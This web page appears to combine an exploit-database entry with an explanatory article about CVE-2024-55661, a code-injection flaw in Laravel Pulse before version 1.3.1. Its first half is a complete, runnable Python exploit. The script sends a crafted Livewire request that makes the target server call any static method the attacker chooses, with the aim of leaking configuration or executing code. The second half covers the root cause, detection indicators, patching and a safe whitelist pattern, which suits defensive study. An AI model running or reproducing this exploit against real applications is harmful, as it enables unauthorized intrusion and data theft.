Laravel Pulse 1.3.1 - Arbitrary Code Injection

Exploit Author: Mohammed Idrees Banyamer Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-06-09
#!/usr/bin/env python3
# Exploit Title: Laravel Pulse 1.3.1 - Arbitrary Code Injection
# Author: Mohammed Idrees Banyamer (@banyamer_security)
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-06
# Tested on: Laravel Pulse v1.2.0 / Ubuntu 22.04 / Apache2
# CVE: CVE-2024-55661
# Type: Remote Code Execution (via Arbitrary Code Injection)
# Platform: PHP (Laravel Livewire)
# Author Country: Jordan
# Description: 
#   A vulnerability in Laravel Pulse (< 1.3.1) allows arbitrary code injection via 
#   the `remember()` method in the `RemembersQueries` trait. The attacker can craft
#   a Livewire request to invoke arbitrary callables, enabling data exfiltration or 
#   remote execution if unsafe classes are exposed.

"""
Laravel Pulse < 1.3.1 - Arbitrary Code Injection Exploit (CVE-2024-55661)
Author: Mohammed Idrees Banyamer | PoC

This tool exploits the vulnerability in the `remember()` method in vulnerable versions
of laravel/pulse to trigger arbitrary code execution or sensitive data leakage via Livewire.
"""

import argparse
import requests
import json
import sys
from rich import print
from rich.console import Console

console = Console()

class LaravelPulseExploit:
    def __init__(self, url, component, method, csrf=None, key='exploit', component_id='abcde'):
        self.url = url.rstrip('/')
        self.component = component
        self.method = method
        self.csrf = csrf
        self.key = key
        self.component_id = component_id
        self.headers = {
            "Content-Type": "application/json",
            "X-Livewire": "true",
            "Accept": "application/json"
        }

        if csrf:
            self.headers["X-CSRF-TOKEN"] = csrf

    def build_payload(self):
        return {
            "type": "callMethod",
            "method": "remember",
            "params": [self.method, self.key],
            "id": self.component_id,
            "name": self.component
        }

    def send(self):
        full_url = f"{self.url}/livewire/message/{self.component}"
        payload = self.build_payload()

        console.print(f"[bold cyan][*] Sending exploit to:[/bold cyan] {full_url}")
        try:
            response = requests.post(full_url, headers=self.headers, json=payload, timeout=10)
        except requests.exceptions.RequestException as e:
            console.print(f"[bold red][-] Request failed:[/bold red] {str(e)}")
            sys.exit(1)

        self.display_response(response)

    def display_response(self, response):
        console.print(f"\n[bold green][+] Status Code:[/bold green] {response.status_code}")
        if response.status_code == 200:
            try:
                data = response.json()
                pretty_data = json.dumps(data, indent=4, ensure_ascii=False)
                console.print(f"[bold yellow]\n[+] Response JSON:[/bold yellow]\n{pretty_data}")
            except json.JSONDecodeError:
                console.print(f"[bold red][-] Failed to decode JSON:[/bold red]\n{response.text}")
        else:
            console.print(f"[bold red][-] Unexpected response:[/bold red] {response.text}")


def parse_arguments():
    parser = argparse.ArgumentParser(
        description="Exploit Laravel Pulse (<1.3.1) Arbitrary Code Injection (CVE-2024-55661)"
    )
    parser.add_argument("-u", "--url", required=True, help="Base URL of the Laravel app (e.g. http://example.com)")
    parser.add_argument("-c", "--component", required=True, help="Livewire component name (e.g. ConfigComponent)")
    parser.add_argument("-m", "--method", required=True, help="Static method to call (e.g. \\Illuminate\\Support\\Facades\\Config::all)")
    parser.add_argument("-k", "--key", default="exploit", help="Cache key (default: exploit)")
    parser.add_argument("--csrf", help="Optional CSRF token header")
    parser.add_argument("--id", default="abcde", help="Component ID (default: abcde)")
    return parser.parse_args()


def banner():
    console.print("""
[bold red]
 ____                       _                        
| __ )  __ _ _ __  _   _   / \   _ __ ___   ___ _ __ 
|  _ \ / _` | '_ \| | | | / _ \ | '_ ` _ \ / _ \ '__|
| |_) | (_| | | | | |_| |/ ___ \| | | | | |  __/ |   
|____/ \__,_|_| |_|\__, /_/   \_\_| |_| |_|\___|_|   
                   |___/                                                                                 
[/bold red]
    [bold white]Laravel Pulse < 1.3.1 Arbitrary Code Injection (CVE-2024-55661)[/bold white]
         [blue]Author:[/blue] Mohammed Idrees Banyamer | [green]Poc[/green]
    """)


if __name__ == "__main__":
    banner()
    args = parse_arguments()

    exploit = LaravelPulseExploit(
        url=args.url,
        component=args.component,
        method=args.method,
        csrf=args.csrf,
        key=args.key,
        component_id=args.id
    )

    exploit.send()


Laravel Pulse & CVE-2024-55661 — Overview

This article examines the arbitrary code injection vulnerability reported against Laravel Pulse versions prior to 1.3.1 (CVE-2024-55661). It explains the root cause at a conceptual level, the real-world impact for applications using Livewire components, detection and mitigation strategies, safe coding patterns, and practical remediation guidance without providing actionable exploit details.

Executive summary

A vulnerability in the way a caching utility was used inside a Pulse Livewire-related trait allowed attacker-controlled input to influence the execution of server-side callables. In affected builds, this could enable data leakage or remote code execution in environments where unsafe classes or methods were exposed. The risk is significant for publicly accessible Livewire components and applications that rely on unfiltered dynamic callables.

Technical root cause (high-level)

At a high level, the issue arises when application code accepts or derives callable identifiers (class::method strings, service references, or similar) from untrusted input and then passes them directly to an execution mechanism (for example, a caching helper that accepts a callable). If there is no strict validation, mapping, or whitelist, an attacker can direct execution to unintended code paths. When frameworks expose components to JSON-driven UI frameworks (such as Livewire), the surface for such injection increases.

Key contributing factors

  • Accepting callable identifiers derived from client-supplied data without a whitelist or validation.
  • Invoking callables indirectly (e.g., via cache helpers or generic execution utilities) that will execute whatever valid callable is given.
  • Public exposure of Livewire components or endpoints that allow unauthenticated interaction or insufficient CSRF/authorization checks.

Impact and risk scenarios

The vulnerability can result in a spectrum of impacts depending on the environment and which classes or methods are accessible. Typical consequences include:

  • Data exfiltration: Reading configuration, environment variables, or other sensitive application state reachable via callable execution.
  • Remote code execution (RCE): If an attacker can trigger execution of a method that enables arbitrary command execution (for example, by invoking an unsafe utility class), RCE becomes possible.
  • Privilege escalation: Invocation of privileged framework or application methods may allow unauthorized actions.

Detection and Indicators

Detecting exploitation attempts involves monitoring for unusual patterns against Livewire endpoints, unexpected cache accesses or serializations, and anomalous application behaviour. The following high-level indicators are useful:

  • High frequency of requests to Livewire component endpoints from unusual IPs or user agents.
  • Application logs showing calls to unexpected classes/methods or exceptions triggered by attempted dynamic resolution.
  • Unexpected configuration or environment values appearing in outbound responses or logs.
  • New or unusual entries in cache stores immediately after public Livewire interactions.

Log sources to inspect

  • Web server access logs and Livewire request logs.
  • Laravel application logs (storage/logs/laravel.log).
  • Cache server logs (Redis, Memcached) for unusual set/get patterns.

Safe remediation and short-term mitigations

Immediate actions for maintainers and operators of affected applications:

  • Patch/upate: Upgrade to Laravel Pulse 1.3.1 or later (or apply the vendor-supplied patch). This is the recommended primary remediation.
  • Restrict public components: Where possible, remove or restrict access (authentication/authorization) to Livewire components that do not need to be public.
  • Harden CSRF and session protections: Ensure Livewire uses valid CSRF tokens and that endpoints reject unauthenticated or unauthorized requests.
  • Apply WAF rules: Use web application firewall signatures to block suspicious Livewire traffic patterns while the patch is applied.

Secure development patterns (preventing callable injection)

The root coding guidance is simple: do not execute callables derived from untrusted input. Use explicit server-side mappings, whitelists, or closures defined in the application code instead.

Example: safe callable mapping pattern

/**
 * Perform a controlled operation using a server-side whitelist.
 *
 * @param  string  $operationKey  A client-supplied operation key (not a PHP callable)
 * @param  string  $cacheKey
 * @return mixed
 */public function cacheOperation(string $operationKey, string $cacheKey)
{
    $operations = [
        'config_all' => function () {
            return \Illuminate\Support\Facades\Config::all();
        },
        'recent_users' => function () {
            return \App\Models\User::latest()->limit(10)->get();
        },
    ];

    if (! isset($operations[$operationKey])) {
        throw new \InvalidArgumentException('Operation not permitted.');
    }

    return \Illuminate\Support\Facades\Cache::remember($cacheKey, now()->addMinutes(10), $operations[$operationKey]);
}

Explanation: This example accepts a simple operation key from the client, but never treats it as a PHP callable. Only server-side closures defined in the $operations whitelist can be executed. This removes the risk of an attacker supplying an arbitrary class::method string or other executable identifier.

Why this pattern is safe

  • Keys supplied by the client are validated against an explicit server-side list.
  • Only predefined closures — authored and reviewed by developers — are ever executed.
  • There is no dynamic resolution of class names or methods based on client data.

Recommended code hardening checklist

  • Avoid deserializing or evaluating any user-supplied data as code.
  • Do not accept fully-qualified class names, factory identifiers, or raw callables from user input.
  • Where dynamic behaviour is required, use tokenized keys that map to server-defined handlers.
  • Sanitize and validate all Livewire props; apply authorization checks in component lifecycle hooks.
  • Use the principle of least privilege for services and restrict what classes or helpers can access sensitive resources.

Testing safely (non-actionable guidance)

Security testing should be performed in isolated staging environments using approved test suites. Prefer to use vendor-provided security patches and official advisories for test cases. If validating that a patch works:

  • Run automated regression tests that exercise Livewire components and caching behavior.
  • Use application-level unit tests to confirm that only allowed operations are executed when client input is received.
  • Perform manual code review focusing on places where user input maps to execution flow.

Responsible disclosure and timeline summary

Item Detail
Vulnerability Arbitrary code injection via insecure callable handling in Pulse Livewire integration
CVE CVE-2024-55661
Affected versions Laravel Pulse < 1.3.1
Primary remediation Upgrade to Pulse 1.3.1 or apply vendor patch; apply access controls

References and further reading

  • Vendor advisories and patch notes — always consult the official package changelog for secure upgrade instructions.
  • Laravel and Livewire security best practices — focus on authorization, input validation, and safe serialization patterns.
  • OWASP guidance on injection and insecure deserialization — for general secure-coding principles.

Final notes for operators and developers

Treat this class of vulnerability as a reminder to avoid patterns that bind user input directly to execution behavior. The safest approach is to keep execution paths explicit and under developer control, to restrict public exposure of framework components, and to keep dependencies patched. Follow responsible upgrade and testing processes to reduce operational risk.